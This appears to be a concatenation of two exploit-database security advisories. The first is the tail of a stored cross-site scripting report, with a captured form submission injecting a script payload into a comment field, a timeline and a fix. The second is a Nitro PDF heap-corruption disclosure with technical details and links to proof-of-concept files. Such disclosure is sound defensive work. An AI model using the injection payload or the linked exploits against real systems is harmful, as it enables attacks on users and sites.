-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="email_me_on_approve"
undefined
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_value]"
bourne
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_key]"
user_name
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_value]"
jason_bourne110@yahoo.com
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_key]"
user_email
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_value]"
Hack <script>alert("Hacked")</script>
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_key]"
comment
-----------------------------
23741051518289624461916684164--
Response
______________________________________________________________________
Status=OK - 200
Date=Sat, 06 Feb 2016 18:18:43 GMT
Server=Apache X-Frame-Options=SAMEORIGIN, SAMEORIGIN X-Powered-By=PHP/5.5.29 X-Robots-Tag=noindex x-content-type-options=nosniff Expires=Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control=no-cache, must-revalidate, max-age=0 Pragma=no-cache
Content-Length=7
Keep-Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html; charset=UTF-8
4. Report Timeline
09-03-2016 : Discovered
09-03-2016 : Vendor notified
09-03-2016 : Vendor Responded
09-03-2016 : Vendor fixed the problem
5. Solution
Update to version 0.11

71
platforms/windows/dos/39546.txt Executable file
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#####################################################################################
Application: Nitro PDF
Platforms: Windows
Versions: Nitro Pro 10.5.7.32 and lower & Nitro Reader 5.5.3.1 and lower
Author: Francis Provencher of COSIG
Website: http://www.protekresearchlab.com/
Twitter: @COSIG_ @protekresearch
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) POC
#####################################################################################
===============
1) Introduction
===============
Nitro develops commercial software used to create, edit, sign, and secure Portable Document Format (PDF) files and digital documents. The Nitro ecosystem consists of Nitro Pro, Nitro Cloud, Nitro Reader, and a suite of document conversion sites.
Nitro’s product family is intended for the professional market and although its desktop products are Windows-only, Nitro Cloud is compatible with any web browser on any machine. The Nitro PDF Reader is freeware for both personal and professional use.
(https://en.wikipedia.org/wiki/Nitro_PDF)
#####################################################################################
============================
2) Report Timeline
============================
2015-12-29: Francis Provencher from COSIG report issue to GoNitro sales team;
2016-01-02: GoNitro confirmed this issue;
2016-01-21: GoNitro fixed this issue;
https://www.gonitro.com/support/security-update
#####################################################################################
============================
3) Technical details
============================
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Nitro PDF 10 (10.5.7.32).
User interaction is required to exploit this vulnerability in that the target must open a malicious file.
A specially crafted PDF with a specific FunctionType 0 and an invalid /Domain can force an heap memory corruption
by pointing to an uninitialized space of memory.An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process.1
.
#####################################################################################
===========
4) POC
===========
http://protekresearchlab.com/exploits/COSIG-2016-13.pdf
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39546.zip
###############################################################################